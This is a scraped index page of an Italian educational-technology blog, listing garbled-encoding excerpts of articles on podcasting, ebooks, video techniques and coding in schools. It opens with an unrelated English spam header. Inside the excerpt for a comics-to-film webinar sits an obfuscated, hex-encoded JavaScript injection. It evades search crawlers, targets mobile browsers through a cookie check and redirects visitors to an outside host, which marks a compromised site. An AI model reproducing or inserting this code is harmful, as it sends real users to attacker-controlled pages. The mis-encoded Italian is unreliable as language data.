Risorse 2.0

PaperHelp Help Writing Research Papers

Arizona State Volleyball Team Earns National Respect With Upsets Here’s a nice Friday afternoon chuckle. Wrigley (the gum maker) has sponsored a study that they say suggests that teens who chew gum have better test scores, in part because chewing gum increases blood circulation to the brain, an industry trade site reported today. Back in […]

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Redazione

Da Classi 20 ad ABC.IT: un’azienda, un dominio, un progetto, un mondoai??i?? EDUCATION

Cari amici di classi 20, da fine gennaio 2018, ci trasferiamo sul sito abc.it. Niente panico! Il sito di classi 20 rimarrAi?? attivo per mantenere gli articoli pubblicati fino ad ora.   Siete curiosi di scoprire il nuovo portale dedicato alla didattica digitale? Seguiteci su abc.it progetto EduCare, a breve pubblicheremo i nuovi aggiornamenti dedicati […]

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Redazione

Teniamoci per mouse

Teniamoci per Mouse 15 – Dire fare progettare… oltre il coding Il Convegno “Teniamoci per Mouse” arriva alla quindicesima edizione. Organizzato dall’Istituto Comprensivo di Via Brianza, Bollate (MI), con il patrocinio di Unimib, il sostegno di USR Lombardia e il supporto tecnologico di REKORDATA. Il seminario A?, come sempre, rivolto a tutti i docenti e […]

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Alberto Pian

Comunicato

Cari lettori, viAi??comunico cheAi??il sitoAi??non viene aggiornato dal 5 luglio 2017 su indicazione della proprietAi??. Per questo motivo non posso attualmente assolvere le funzioni di coordinamento e di direzione che mi eranoAi??state affidate dalla sua nascita nel 2014. In attesa di nuove informazioni in merito, i lettori mi troveranno come al solito in www.didanext.com e […]

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Creative Educator

Scienze nella scuola primaria. Diventa un piccolo videoreporter, intervista gli animali.

Ecco la nuova generazione di studenti videoreporter. Sono tropo piccoli? Niente affatto! I ragazzini scoprono i meccanismo di adattamento, l’habitat di un animale, i suoi comportamenti e condividono le loro scoperte attraverso una sessione di domande e risposte con l’animale. Traduzione e adattamento italiano di Alberto Pian, articolo originale: Ai??Animal Interview, di Creative Educator. Compito […]

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Daniela Calisi, Alberto Pian

La bella addormentata nel frigo. Primo Levi ed ePub 3 con PubCoder. Finalmente la letteratura a scuola come dovrebbe essere!

La bella addormentata nel frigo A? un atto unico di Primo LeviAi??che risale alAi??1966. A? la storia di una ragazza che vive ibernata da molto tempo. Dunque A?Ai??un racconto visionario e anticipatore di tutta la letteratura di genere che tratta il tema dell’ibernazione, cinema 3D e fumetto compreso, come mostra anche la trilogiaAi??di Enki Bilal. […]

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Federica Marra

L’insegnante in vacanza esce dal cono d’ombra. Quando il tuo stile A?… “moda e fashion”

Sei un’insegnante appassionata di moda e cose fashion? Fai tendenza anche in un ambiente cosAi?? poco frivolo come la scuola ? Quando non sei impegnata in riunioni, correzione di compiti e trainer di sopravvivenza nella giungla scolastica, ami sfogliare riviste di moda ? Ti crogioli passeggiando tra sfavillanti vetrine auspicando fantastici aumenti diAi??stipendio? Ai??Ti capita […]

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Alberto Pian

Impara a migliorare le tue foto con Adobe LightRoom. Alcuni semplici principi per i tuoi lavori.

Grazie alle applicazioni sempre piA? incredibili che ci consentono di pubblicare, condividere, mostrare, divulgare, le nostre fotografie si possonoAi??rivelare uno strumento fondamentale per le nostre comunicazioni e i progetti didattici da realizzare in classe. Abbiamo perA? bisogno di distaccarci dagli effetti speciali e dai numerosi filtri che imperversano nei diversi social e che riducono le […]

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Alberto Pian

Hanno assassinato il cuoco? Fantastico! CosAi?? impariamo meglio. “Master Chef Murder”: il gioco per sviluppare la logica e il pensiero critico.

L’applicazione Master Chef Murder A? un un giocoAi??Ai??ideato appositamente per studenti di scuola elementare – media, per sviluppareAi??Ai??il pensiero critico, il problem-solving e le competenze tecnico informatiche. Applicazione Dossier Questa applicazione (per dispositivi Apple iOS), nasce da una lunga sperimentazione in classe che A? partita da una giornata di accoglienza rivolta aAi??nuovi studenti, che si […]

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Melinda Kolk

L’apprendimento nell’epoca della creativitAi??

Come promuovere atteggiamenti e costruire ambientiAi??nei quali prosperi la creativitAi??. Melinda Kolk, Twitter:Ai??@melindak in:Ai??http://www.thecreativeeducator.com/2012/articles/Creative_Learning Quello dellaAi??creativitAi?? – e piA? in particolare la nostra mancanza di creativitAi?? – A? un argomento di cui si parla comunementeAi??alle macchinetteAi??caffA?, nelleAi??sale riunioni del mondo degli affari, nei corridoi, nei saloni e nelle occasioniAi??in cui gli educatori discutono dellaAi??loro attivitAi??. […]

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Alberto Pian

Gli “stili” dell’insegnante in vacanza. 30 applicazioni per il docente in stile “avventuroso estremo”.

Caro insegnante! Non ci sono solo gli stili di apprendimento dei tuoiAi??allievi, ci seiAi??anche tu, con il tuoAi??”stile”, giusto? Si, ma non parliamo di stili di insegnamento, ci mancherebbe altro, basta! Parliamo di stili da vacanza. HaiAi??un tuo stile da vacanza? Ne sei consapevole? Per esempio seiAi??stile “corpo e salute” e quindi teAi??ne stai sul […]

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Alberto Pian

L’insegnante con Clips!

Per sperimentare con Clips l’insegnante deve avere un iPhone o un iPad, cioA? un dispositivo Apple iOS. Come? Non sapete che cos’A? Clips? Non sapete neanche perchAi?? lo dovreste portare appresso? Ah! se le cose stanno cosAi?? allora… vi occorre qualche spiegazione. Ma ve loAi??diciamo subito: non partireAi??senza Clips. Che siate insegnanti di fisica al […]

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Alberto Pian

Migliora le tue storie in classe. Esercizi di ripresa per giocare sui punti di vista di una storia

Con semplici accorgimenti, un’attrezzatura essenziale nella quale puA? spiccare l’iPhone che registra filmati in 4K e una certa attenzione ai dettagli, potete creare straordinarie narrazioni che mostrano allo spettatore nuovi e interessanti punti di vista e riprese in movimento. LeAi??animazioni che vi proponiamo vi aiutano a riflettere su come posizionare lo strumento di ripresa quando […]

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Alberto Pian

Webinar video registrazione. Creare storie tramite interviste.

Questo interessante webinar, che fa parte della IV stagione dei webinar in corso di Alberto Pian, analizza una serie di spunti per creare delle vere e proprie storie fondandole sulla tecnica dell’intervista. Nella classe virtuale che accompagna i webinar trovi le risorse associate: slide, documenti, filmati. classe associata ai webinar:Ai??http://app.weschool.com/#join/webinar guarda il catalogo dei webinar […]

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Cristiana Rossi

Tempo di aquiloni: al lavoro con il suono “qu” in prima elementare

Nella mia classe di prima elementare I ci sono 26 alunni. Quando ho proposto ai bambini di “fare un lavoro” con l’IPad (strumento che loro conoscevano giAi?? benissimo!) sono stati tutti molto entusiasti. SparkPage A? la prima app che mi A? stata presentata e mi A? sembrata la piA? adatta per bambini di questa etAi??. […]

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Daniela Caparra

Epica al cinema: i Poster. Un’attivitAi?? con Adobe Spark Post

La collega Daniela haAi??voluto approfondire un argomento di epica, Ulisse, Ai??con una classe prima della scuola media di San Miniato, Pisa,Ai??Ai??usando l’app Adobe Spark Post. IC Sacchetti, San Miniato, Pisa Locandine di film Dopo una preparazione generale sull’argomento abbiamo deciso di realizzare una locandina del film o la copertina di un libro illustrato di Ulisse […]

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Irene Poli

La Venere del Botticelli atterra con una conchiglia. Podcast a scuola media.

Buongiorno ragazzi! Oggi facciamo podcast. A coppie realizzerete una trasmissione radio sulla Nascita della Venere di Botticelli. Siete sul posto, sulla spiaggia. La Venere sta per arrivare. A voi impressioni e commenti, possibilitAi?? di fare interviste e di chiedere il parere di esperti. Avrete il vostro studio di registrazione ( aula X dell’istituto) la vostra […]

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Alberto Pian

Effetti speciali per insegnanti speciali. Effetto parallasse nel tuo filmato.

Lai??i??effetto parallasse simula una profonditAi?? 3D senza necessariamente costruire un vero e proprio ambiente 3D. Come A? possibile? Ve lo spighiamo in questo breve articolo che propone anche un filmato e alcune specifiche indicazioni. Tuttavia questo effetto richiede un po’ di cura e delle applicazioni di montaggio video e creazione di effetti di tipo professionale. […]

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Marilena Maddaluna

CreativitAi??, logica e bellezza. Nasce la Filosofia audiovisuale.

“Ho proposto questo progetto di filosofia e arte in una classe 3 Ai??e ho coinvolto la collega di discipline Ai??progettuali audiovisive.Ai??Personalmente sono rimasta stupita dalla bellezza dei loro lavori e da capacitAi?? che alcuni studenti danno per scontato ma che non lo sono affatto.” Dopo aver spiegato i filosofi presocratici ogni alunno ha scelto un […]

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Alberto Pian

I ai???Gulpiniai???: trasformiamo in film, disegni e fumetti. Registrazione del webinar.

Muoviamo e animiamo disegni, tavole fumetti per creare un gulpino (film), usando alcune tecniche ed effetti cinematografici. STRUMENTI: applicazioni di montaggio video. Registrazione del webinar: Filmato di ispirazione, come realizzare un “glutino” con Adobe Spark Voice: https://vimeo.com/215389126var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| […]

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Marc Fauder, Jason Milner

“Stories of a Lifetime”, partecipa al progetto di storytellling internazionale ideato da due insegnanti!

Questa proposta A? nata da una collaborazione fra una scuola della Gran Bretagna e una scuola Australiana, portata avantiAi??daAi??due insegnanti di eccezione, molto conosciuti nei loro paesi: Marc Faulder (GB) e Jason Milner (Australia). I bambini britannici stavano studiando storie australiane e ne redigevano lo script, come quello della storia della rana Tiddalic. Dal canto […]

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Alberto Pian

Poesia, musica, recitazione, robotica umanoide e storytelling con Alpha 1S

Il robot umanoide della serie Alpha si puA? programmare per creare delle rappresentazioni e storytelling multidisciplinari che uniscano diverse materie. In questo caso, oltre al coding, abbiamo lavorato nel campo della letteratura e della musica, con una poesia di Giovanni Pascoli. Programmazione del robot Riprese in green screen Per ambientare il robot in uno storytelling […]

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Alberto Pian, Elita Serrao

Incredibile ma vero: ecco i Comics concepiti e creati da un gruppo di insegnanti! Da non perdere.

GULP! A? proprio cosAi??!Ai??Ai??Insegnanti eAi??formatori di tutta Italia hanno preso parte a un corso per imparare a usare e produrre comics in classe! GASP! Possibile? Certo! Il corso ha fornitoAi??strumenti di ispirazione, worklow e pratiche per impiegare il linguaggio e le tecniche dei Comics, nel proprio lavoro. BUM! Grazie a questo corso hanno trovato ispirazione […]

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Anna Pina Biasco

Robot e Tickle. Bambini insegnano a bambini le tabelline tramite il coding

Tutto ha preso spunto dallai??i??esigenza di trovare una maniera giocosa per far imparare in brevissimo tempo a una nuova compagna Ai??le tabelline. E cosAi?? mentre un gruppo lavorava alla realizzazione di questo progetto, di cui qui trovateAi??la documentazione, ho incaricato altri due team momentaneamente “sfaccendati” a progettare qualcosa di simile per i bambini della classe […]

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Marco Robert Amoroso

Antichi eroi, figurine, disegni, eBook per imparare in modo attivo

Ai??La pratica di costruire eBook con gli studenti si sta diffondendo a macchia d’olio nelle scuole italiane. PerchAi??? In realtAi?? non c’A? nulla di nuovo sotto al sole: si tratta di apprendere introducendo nel percorso anche la tappa dell’ “applicazione”, cioA? della produzione di un oggetto scientifico, fondato sui contenuti. La migliore pedagogia classica del […]

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Vittoria Esposito

Challenge to Change insegna: il cyberbullismo si combatte con il podcasting.

L’idea di realizzare una trasmissione radiofonica con i miei ragazzi di 3A? sistemi informativi aziendali, mi Ai?? stata suggerita da un intervento durante la partecipazione al tourAi?? Challenge to Change organizzato e, in particolare, dalle esperienze di Kevin Morrow e Alberto Pian. Podcasting Radio 3.0,Ai??di Bassano del Grappa.Ai??ins. Vittoria Esposito Facebook di Vittoria: https://www.facebook.com/vittoria.esposito.39 E […]

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Laura Giaretta

Operzione coraggio: quando l’allievo A? “ospedalizzato”.

Questa attivitAi?? nasce dal desiderio e dall’esigenza di stare vicini a Luca, un compagno di classe che, per il secondo anno consecutivo, avrebbe subito un intervento abbastanza invasivo e che avrebbe richiesto un lungo periodo di ospedalizzazione. Contatti:Ai??http://piccoliviaggiatoricrescono.blogspot.it PerchAi?? Operazione Coraggio? L’ alunno, avendo giAi?? subito un intervento simile alla fine della prima elementare, era […]

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Alberto Pian

La didattica A? interattiva con BookWidgets: prova qui!

Questo widget interattivo A? stato impiegato durante il webinar Ai??”Creare una web story fotografica con le tecniche del photo web journalism Come creare una storia basata su fotografie, quali esercizi specifici assegnare. Impariamo alcune tecniche tipiche del racconto fotografico impiegate dai web reporter.” Provalo anche tu e entra nel mondo di una didattica interattiva, multicanale […]

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Marc Faulder

Apple Classroom nella prima infanzia

Con l’introduzione di Apple Classroom, questa estate, l’impiego dei nostriAi??iPad a scuola A? diventato molto piA? agevole e gestibile per tutti gli insegnanti. Articolo originale in lingua inglese:Ai??https://enabling-environments.co.uk   Per molto tempo abbiamo fatto utilizzatoAi??”accesso guidato” nelle impostazioni di accessibilitAi?? di iPad, per gestire l’apprendimento neiAi??focus group. IlAi??triplo touchAi??su ogni iPad A? stato all’ordine del […]

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Alberto Pian

Server mobile per tutti. Costruire gruppi di lavoro ovunque senza Internet.

Tutti possono avere un Mac – server portatile per creare lezioni, gestire gruppi di lavoro, siti web e strumenti di cooperazione wiki per lavorare ovunque senza bisogno della rete Internet.   Ai?? Alberto Pian, 2017 www.didanext.comAi?? | www.classi20.it Questo documento ha lo scopo di insegnare a installare e utilizzare un server mobile MAC per creare […]

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Alberto Pian

I Widget per una didattica inclusiva e interattiva. Filmato tutorial.

Crea widget per le tue lezioni e pubblicazioni: cruciverba, timeline, immagini a scomparsa, elementi interattivi e di gioco. A cura diAi??un docente Ambassador di Brooky Widget. Webinar I Widget per una didattica inclusiva e interattiva con BooksWidget from Alberto Pian on Vimeo.   I widget per mettono di creare una didattica interattiva e flessibile.Ai??Gli studenti […]

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Alberto Pian

Per comprendre il podcasting

Il passaggio da una dimensione statica basata sul rapporto terminale – computer – WEB a una posizione dinamica fondata su mobilitAi?? – interazione – dispositivi mobili A? la ragion dai??i??essere dellai??i??essenza di strumenti come questo e di tutta lai??i??evoluzione nel rapporto uomo – macchina – interfaccia – ambiente, che sarAi?? ancor piA? marcata nel prossimo […]

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Cristina Pedretti

Chiacchiere da Venere. L’insegnante in podcast parla a tutte le donne.

Ai??Cristina Pedretti, insegnante, coach, formatrice, team manager, ciAi??propone “Chiacchiere da Venere”: un progetto dedicato alle donne che ha come cuore un canale podcast dedicato. L’idea A? nata la scorsa estate, da una serie di impulsi latenti su cui CristinaAi??rifletteva piA? o meno consciamente da tempo…Ai??In questa intervista ci spiega che cosa lega le donne, il […]

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Alberto Pian

Storytelling e coding per creare libri game (Teniamoci x Mouse 2016)

Oggi i processi didattici devono essere radicalmente rivisti anche da parte dei docenti che applicano sistemi di apprendimento innovativi con le tecnologie piA? avanzate. Che cosa deve cambiare? due cose: i processi devono essere piA? ampi e strutturati; le modalitAi?? devono essere piA? professionali e meno improvvisate. Nel primo caso significa che le attivitAi?? di […]

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Serena Zanotti

Remix Creativo del Codice (Teniamoci x Mouse 2016)

Con le classi della Scuola Primaria Santa Teresa di GesA?, abbiamoAi??partecipato aAi??ai???Codi-Amoai???,Ai??concorso sul CodingAi??proposto dal MIUR a marzo 2016.Ai??Ogni classe poteva presentare un solo elaborato, utilizzando specifici livelli dellaAi??piattaforma di code.org.Ai??AllaAi??Scuola PrimariaAi??veniva chiesto diAi??creare una storia e realizzarla con il Codice.Ai??PoichAi?? lai??i??elaborato doveva essere unico per ogni classe, abbiamo pensato di lavorare tutti insieme, per […]

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Matteo Locatelli e Mirko Pagani

Laboratori e atelier digitali. Bibliolab, il design dell’apprendimento: il nostro pensiero (Teniamoci x Mouse 2016)

Ridurre la scuola alla ai???fabbrica degli apprendimentiai???, ad un processo il cui obiettivo primario A? “finire il programma”, significa secondo noi rinnegare tutta la nostra tradizione educativa, il dna della nostra scuola, che ha tanto inciso nei modelli educativi nel mondo. Mirko Pagani,Ai??mirkopagani@icloud.com Matteo Locatelli,Ai??m.locatelli@consorziounison.it Autori del blogAi??pedagogiadigitale.it Eai??i?? un tema importante che non dobbiamo […]

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Maurizio Tuliani

Fare Storia con GarageBand

Ho chiesto ai ragazzi della mia classe 2A di Scuola Secondaria di 1gr. di pensare ad un momento ai???chiaveai??? della Rivoluzione Francese, un momento che ha colpito il loro immaginario, che li ha in qualche modo emozionati… Avrebbero poi dovuto cercare in rete un dipinto: ce ne sono molti che raffigurano gli eventi della Rivoluzione […]

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Sara Marini

Fabula game. Appredere l’economia giocando nella scuola primaria in Italia, Spagna, Turchia, Regno Unito.

Costruire un gioco per apprendere alcune basi di economia, materia molto complessa per i bambini della scuola primaria. Apprendere giocando puA? essere un metodo intelligente per superare le difficoltAi?? di contenuti complessi, come mostra questa interessante esperienza che ha al centro una azienda di formazione insieme ad altri partner europei di Spagna, Turchia e Regno […]

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Alberto Pian

eBook e scuola. NUOVE PROSPETTIVE? Editoriale.

Questo aggiornamento di www.classi20.itAi??si presenta a voi con un servizio speciale sugli eBook a scuola intesi come opportunitAi?? di fruizione, di costruzione e di pubblicazione. La novitAi?? A? che tre start up italiane e un grande editoreAi??stanno trasformando il terreno dei libri destinati a docenti e studenti in qualche cosa di molto promettente e che, […]

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Paolo Giovine, fondatore e presidente di PubCoder

eBook e Scuola. TUTTI POSSONO CREARE EBOOK INTERATTIVI MULTIPIATTAFORMA CON PUBCODER. Paolo Giovine Presidente e fondatore di PubCoder

PubCoder A? oggi il miglior strumento a disposizione di autori e professionisti per creare libri interattivi in formato ePub 3 multipiattaforma, compatibili con iOS e Android, con Windows, il WEB stesso e in forma di app. Nato da una start up italianaAi??di Torino,Ai??ha avuto riconoscimenti internazionali ed A? stato segnalato anche da Apple come uno […]

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StreetLib

eBook e Scuola. SCRIVERE E PUBBLICARE. StreetLib.

StreetLib A? la prima e piA? importante piattaforma di pubblicazione di eBook in Italia. Pubblica in tutti gli Store, compreso iBooks diAi??Apple e permette agli autori di pubblicare e gestire i propri libri. Facile e utile anche per gli insegnanti e le scuole. Chiediamo aiAi??ragazzi di StreetLibAi??di illustrare il loro servizio di auto pubblicazione e […]

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De Agostini, Centro Leonardo Education, PubCoder, Street Lib.

eBook e scuola. SENZA CONFINI: MATEMATICA, INTERAZIONI IMMAGINI PARLANTI… Parlano gli editori e gli sviluppatori.

Negli eBook degliAi??editori sonoAi??vigili anche le formule matematiche? Un insegnante che volesse pubblicare un ePub le potrebbe inserire facilmente? Questi libri sarebberoAi??compatibiliAi??per una loro distribuzione nei diversi store e dispositivi? Karen Nahum, De Agostini Le formule matematiche sono visibili, nei testi inseriamo video ed esercizi interattivi. In alcuni libri di questo anno scolastico, per favorire […]

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De Agostini, Centro Leonardo, PubCoder, StreetLib

eBook e Scuola. L’eBOOK SPIEGATO ALL’INSEGNANTE. Parlano gli editori e gli sviluppatori.

Che cosa sono i libri digitali? In che formati vengono distribuiti? Che cosa deve sapere la scuola sugli eBook? Come ci si orienta nei diversi formati? Ai??Paolo Giovine, PubCoder Lai??i??insegnante puA? essere disorientato di fronte al mondo dei libri digitali: dai PDF ai DRM, passando per i Kindle, iPad, EPUB: che cosa si puA? dire […]

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Centro Leonardo, Street Lib, De Agostini, PubCoder

eBook e Scuola. TANTE OPPORTUNITA’ PER INSEGNANTI E SCUOLE. Parlano editori e sviluppatori.

Oggi l’insegnante e la scuola possono contare su diverse possibilitAi?? di pubblicare, sia avvalendosi di servizi di auto pubblicazione, che passando da editori e utilizzando software e servizi particolari. Street Lib, De Agostini, Centro Leonardo, PubCoder, ci piegano le opportunitAi?? che ciascuno di loro puA? offrire in questo campo.   Lucia Zitelli, Street Lib Puoi […]

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Antonio Tombolini, fondatore e CEO di StreetLib (Simplicissimus Book Farm)

eBook e Scuola. IL PIONIERE DEL SELF PUBLISHING ITALIANO. Antonio Tombolini, fondatore di StreetLib

Antonio Tombolini A? il pioniere del publishing in Italia. Ha fondato Narcissuss, Ultima Books e Simplicissimus Book Farm, ora riuniti nelAi??maschio di StreetLib.Ai??Con luiAi??percorriamo un po’ di storia e cerchiamo di capire qualche prospettiva… Antonio TomboliniAi??A? nato nel 1960 in un piccolo paese del centro Italia, Loreto, dove vive. Dirigente dai??i??azienda fino al 1997, ha […]

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StrettLib. Giovanna, Lucia, Serena, Giacomo, Claudia, Ciccio, Fabio

eBook e Scuola. TUTTO QUELLO CHE DOBBIAMO SAPERE: DIRITTI, PREZZO, REDAZIONE, DISTRIBUZIONE. Street Lib.

Abbiamo chiesto ai principali esperti italiani di auto pubblicazione (self publishing), cosa potrebbe fare un insegnante o una scuola per pubblicare i propri libri. Ne parlano Giovanna Russo, customer care assistant per StreetLib. Lucia Zitelli, responsabile del team Customer Care di StreetLib. Serena Vissani,Ai??conversione ebook e gestione dei servizi Print. Giacomo D’Angelo, ideatoreAi??di STEALTH, Narcissus, […]

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Karen Nahum, De Agostini

eBook e Scuola. FRA CARTA E DIGITALE NESSUNA SOVRAPPOSIZIONE. Karen Nahum, Digital Director di De Agostini Libri e Scuola.

Abbiamo incontrato Karen Nahum,Ai??Digital Director di De Agostini Libri e Scuola. Dalla sua posizione privilegiata ci offre uno sguardo prezioso sul tema degli eBook e del mondo scolastico, nel quale De Agostini A? entrata con impegno e capacitAi?? innovative fin dal primo momento. Ai??Contatti:Ai??https://it.linkedin.com/in/karennahumAi??| https://www.facebook.com/DeAScuola/ Qual A? lai??i??impegno di De Agostini nel campo dei libri […]

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Ugo Falace, CEO di Centro Leonardo Education

eBook e Scuola. IL FUTURO E’ DIGITALE CON LIBRI INCLUSIVI. Ugo Falace di Centro Leonardo.

Centro Leonardo A? il principale editore europeo di libri digitali per insegnanti e scuole. Una realtAi?? italiana oggi di fama internazionaleAi??che, in pochi anni, haAi??conquistato il primatoAi??continentale. Abbiamo incontrato Ugo Falace, CEO di Centro leonardo Education. Contatti:Ai??falace@centroleonardo.netAi??|Ai??http://www.centroleonardo-education.it Ugo, qualiAi??sono gli obiettivi di una giovane casa editrice come la vostra? Ambiziosi. Vogliamo contribuire al cambiamento in […]

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Alberto Pian

Insegnare con bellezza. Tecniche ripresa. Riprendere in modo originale persone in movimento.

Con questa animazione presentiamo una originale tecnica di ripresa fra due persone che si incontrano. Inizialmente un soggetto si sposta mentre l’altro A? fermo, quindi le due persone si incontrano. Con questa tecnica lasciamo volontariamente dei “buchi” lungo l’asse di ripresa che saranno utilizzati in sede di montaggio per creare quella sospese che renderAi?? piA?Ai??avvincente […]

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Alberto Pian

Insegnare con bellezza. Tecniche di ripresa. Campo controcampo e regola dei 180Ai??.

Se si vogliono inquadrare due soggetti che parlano disposti frontalmente, bisogna tenere conto di una regola “holliwoodiana”, che A? entrata nella percezione comune occidentale (non i tutte le culture, infatti, questa regola A? fondamentale o, addirittura, conosciuta e applicata). I concettiAi??da considerare sono quelli della “linea di ripresa” e del “campo Ai??controcampo”.   La linea […]

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